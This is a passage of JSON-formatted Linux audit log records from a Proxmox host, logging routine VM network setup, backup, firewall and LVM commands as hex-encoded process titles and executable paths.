cap_frootid=0"} {"@timestamp":1781965053145,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.145:63850): proctitle=2F62696E2F7368002F7573722F6C69622F756465762F7669727475616C2D66756E6374696F6E2D6E616D696E672D68656C706572"} {"@timestamp":1781965525425,"@rawstring":"node=pve type=PATH msg=audit(1781965525.425:65995): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.120:63849): proctitle=2F7362696E2F6970006C696E6B00616464006E616D650066776C6E3837376930006D74750031353030007479706500766574680070656572006E616D6500667770723837377030006D74750031353030"} {"@timestamp":1781965525419,"@rawstring":"node=pve type=PATH msg=audit(1781965525.419:65994): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.120:63848): proctitle=2F7573722F6C69622F73797374656D642F73797374656D642D73797363746C002D2D7072656669783D2F6E65742F697076342F636F6E662F667762723837376930002D2D7072656669783D2F6E65742F697076342F6E656967682F667762723837376930002D2D7072656669783D2F6E65742F697076362F636F6E662F667762"} {"@timestamp":1781965525419,"@rawstring":"node=pve type=PATH msg=audit(1781965525.419:65994): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053118,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.118:63847): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C6572007374617274"} {"@timestamp":1781965525417,"@rawstring":"node=pve type=PATH msg=audit(1781965525.417:65993): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053118,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.118:63846): proctitle=\"(udev-worker)\""} {"@timestamp":1781965525417,"@rawstring":"node=pve type=PATH msg=audit(1781965525.417:65993): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.114:63845): proctitle=2F7362696E2F6970006C696E6B0073657400667762723837376930007570006D74750031353030"} {"@timestamp":1781965525417,"@rawstring":"node=pve type=PATH msg=audit(1781965525.417:65992): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053116,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.116:63844): proctitle=7265616C70617468002F7379732F646576696365732F7669727475616C2F6E65742F6677627238373769302F2E2E2F2E2E"} {"@timestamp":1781965525409,"@rawstring":"node=pve type=PATH msg=audit(1781965525.409:65991): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.114:63843): proctitle=2F62696E2F7368002F7573722F6C69622F756465762F7669727475616C2D66756E6374696F6E2D6E616D696E672D68656C706572"} {"@timestamp":1781965525409,"@rawstring":"node=pve type=PATH msg=audit(1781965525.409:65991): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.108:63842): proctitle=2F7362696E2F6970006C696E6B0061646400667762723837376930007479706500627269646765"} {"@timestamp":1781965525409,"@rawstring":"node=pve type=PATH msg=audit(1781965525.409:65991): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053104,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.104:63841): proctitle=2F7573722F62696E2F7065726C002F7573722F6C6962657865632F71656D752D7365727665722F7076652D627269646765007461703837376930"} {"@timestamp":1781965525399,"@rawstring":"node=pve type=PATH msg=audit(1781965525.399:65990): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.098:63840): proctitle=2F7573722F62696E2F7065726C002F7573722F6C6962657865632F71656D752D7365727665722F7076652D627269646765007461703837376930"} {"@timestamp":1781965525399,"@rawstring":"node=pve type=PATH msg=audit(1781965525.399:65990): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.092:63839): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965525387,"@rawstring":"node=pve type=PATH msg=audit(1781965525.387:65989): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053086,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.086:63838): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965525387,"@rawstring":"node=pve type=PATH msg=audit(1781965525.387:65989): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.083:63837): proctitle=2F7362696E2F6970006C696E6B007365740074617038373769300075700070726F6D697363006F6E006D74750031353030"} {"@timestamp":1781965525378,"@rawstring":"node=pve type=PATH msg=audit(1781965525.378:65988): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.079:63836): proctitle=2F7362696E2F6970006C696E6B007365740074617038373769300075700070726F6D697363006F6E006D74750031353030"} {"@timestamp":1781965525378,"@rawstring":"node=pve type=PATH msg=audit(1781965525.378:65988): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052024,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965052.024:63835): proctitle=2F7573722F6C69622F73797374656D642F73797374656D642D73797363746C002D2D7072656669783D2F6E65742F697076342F636F6E662F7461703837376930002D2D7072656669783D2F6E65742F697076342F6E656967682F7461703837376930002D2D7072656669783D2F6E65742F697076362F636F6E662F7461703837"} {"@timestamp":1781965525368,"@rawstring":"node=pve type=PATH msg=audit(1781965525.368:65987): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965052.021:63834): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C6572007374617274"} {"@timestamp":1781965525368,"@rawstring":"node=pve type=PATH msg=audit(1781965525.368:65987): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965052.021:63833): proctitle=\"(udev-worker)\""} {"@timestamp":1781965525362,"@rawstring":"node=pve type=PATH msg=audit(1781965525.362:65985): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052018,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965052.018:63832): proctitle=7265616C70617468002F7379732F646576696365732F7669727475616C2F6E65742F74617038373769302F2E2E2F2E2E"} {"@timestamp":1781965525362,"@rawstring":"node=pve type=PATH msg=audit(1781965525.362:65985): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052018,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965052.018:63831): proctitle=2F62696E2F7368002F7573722F6C69622F756465762F7669727475616C2D66756E6374696F6E2D6E616D696E672D68656C706572"} {"@timestamp":1781965525355,"@rawstring":"node=pve type=PATH msg=audit(1781965525.355:65984): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965052016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965052.016:63830): proctitle=2F7573722F62696E2F7065726C002F7573722F6C6962657865632F71656D752D7365727665722F7076652D627269646765007461703837376930"} {"@timestamp":1781965525355,"@rawstring":"node=pve type=PATH msg=audit(1781965525.355:65984): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051943,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.943:63829): proctitle=2F7573722F62696E2F6B766D002D696400383737002D6E616D65005072696D6172792D446F6D61696E436F6E74726F6C6C65722C64656275672D746872656164733D6F6E002D6E6F2D73687574646F776E002D6368617264657600736F636B65742C69643D716D702C706174683D2F7661722F72756E2F71656D752D73657276"} {"@timestamp":1781965525348,"@rawstring":"node=pve type=PATH msg=audit(1781965525.348:65983): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.842:63828): proctitle=2F62696E2F73797374656D63746C0073746F70003837372E73636F7065"} {"@timestamp":1781965525348,"@rawstring":"node=pve type=PATH msg=audit(1781965525.348:65983): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051830,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.830:63827): proctitle=2F62696E2F73797374656D63746C0072657365742D6661696C6564003837372E73636F7065"} {"@timestamp":1781965525340,"@rawstring":"node=pve type=PATH msg=audit(1781965525.340:65982): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.813:63826): proctitle=2F62696E2F73797374656D63746C0072657365742D6661696C6564007076652D646275732D766D7374617465403837372E73657276696365"} {"@timestamp":1781965525340,"@rawstring":"node=pve type=PATH msg=audit(1781965525.340:65982): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.748:63825): proctitle=2F7573722F62696E2F6B766D002D2D76657273696F6E"} {"@timestamp":1781965525335,"@rawstring":"node=pve type=PATH msg=audit(1781965525.335:65981): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051710,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.710:63824): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965525335,"@rawstring":"node=pve type=PATH msg=audit(1781965525.335:65981): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051682,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.682:63823): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965525329,"@rawstring":"node=pve type=PATH msg=audit(1781965525.329:65980): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.648:63822): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E73006C765F73697A65002F6465762F7076652F766D2D3837372D6469736B2D30"} {"@timestamp":1781965525329,"@rawstring":"node=pve type=PATH msg=audit(1781965525.329:65980): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.620:63821): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965525319,"@rawstring":"node=pve type=PATH msg=audit(1781965525.319:65979): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.620:63820): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965525319,"@rawstring":"node=pve type=PATH msg=audit(1781965525.319:65979): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.620:63819): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965525310,"@rawstring":"node=pve type=PATH msg=audit(1781965525.310:65978): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.620:63818): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965525310,"@rawstring":"node=pve type=PATH msg=audit(1781965525.310:65978): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.614:63817): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965525303,"@rawstring":"node=pve type=PATH msg=audit(1781965525.303:65977): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.614:63816): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965525303,"@rawstring":"node=pve type=PATH msg=audit(1781965525.303:65977): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.614:63815): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965525291,"@rawstring":"node=pve type=PATH msg=audit(1781965525.291:65976): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051584,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.584:63814): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965525291,"@rawstring":"node=pve type=PATH msg=audit(1781965525.291:65976): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051563,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.563:63813): proctitle=7461736B20555049443A7076653A30303030454632423A30303136413039303A36413336413046423A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965525284,"@rawstring":"node=pve type=PATH msg=audit(1781965525.284:65975): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051563,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.563:63812): proctitle=7461736B20555049443A7076653A30303030454632423A30303136413039303A36413336413046423A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965525284,"@rawstring":"node=pve type=PATH msg=audit(1781965525.284:65975): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051555,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.555:63811): proctitle=7461736B20555049443A7076653A30303030454632423A30303136413039303A36413336413046423A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965525283,"@rawstring":"node=pve type=PATH msg=audit(1781965525.283:65974): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051555,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965051.555:63810): proctitle=7461736B20555049443A7076653A30303030454632423A30303136413039303A36413336413046423A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965525279,"@rawstring":"node=pve type=PATH msg=audit(1781965525.279:65973): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046602,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965046.602:63809): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965525279,"@rawstring":"node=pve type=PATH msg=audit(1781965525.279:65973): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046602,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965046.602:63808): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965525279,"@rawstring":"node=pve type=PATH msg=audit(1781965525.279:65973): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046602,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965046.602:63807): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965525271,"@rawstring":"node=pve type=PATH msg=audit(1781965525.271:65972): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046590,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965046.590:63806): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965525271,"@rawstring":"node=pve type=PATH msg=audit(1781965525.271:65972): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046590,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965046.590:63805): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965525263,"@rawstring":"node=pve type=PATH msg=audit(1781965525.263:65971): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046590,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965046.590:63804): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965525263,"@rawstring":"node=pve type=PATH msg=audit(1781965525.263:65971): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.178:63803): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965525255,"@rawstring":"node=pve type=PATH msg=audit(1781965525.255:65970): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045175,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.175:63802): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965525255,"@rawstring":"node=pve type=PATH msg=audit(1781965525.255:65970): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045174,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.174:63801): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965525246,"@rawstring":"node=pve type=PATH msg=audit(1781965525.246:65969): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045174,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.174:63800): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965525246,"@rawstring":"node=pve type=PATH msg=audit(1781965525.246:65969): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.170:63799): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965525237,"@rawstring":"node=pve type=PATH msg=audit(1781965525.237:65968): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.164:63798): proctitle=\"ip6tables-save\""} {"@timestamp":1781965525237,"@rawstring":"node=pve type=PATH msg=audit(1781965525.237:65968): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045158,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.158:63797): proctitle=\"iptables-save\""} {"@timestamp":1781965524396,"@rawstring":"node=pve type=PATH msg=audit(1781965524.396:65967): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045151,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.151:63796): proctitle=\"ip6tables-save\""} {"@timestamp":1781965524396,"@rawstring":"node=pve type=PATH msg=audit(1781965524.396:65967): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 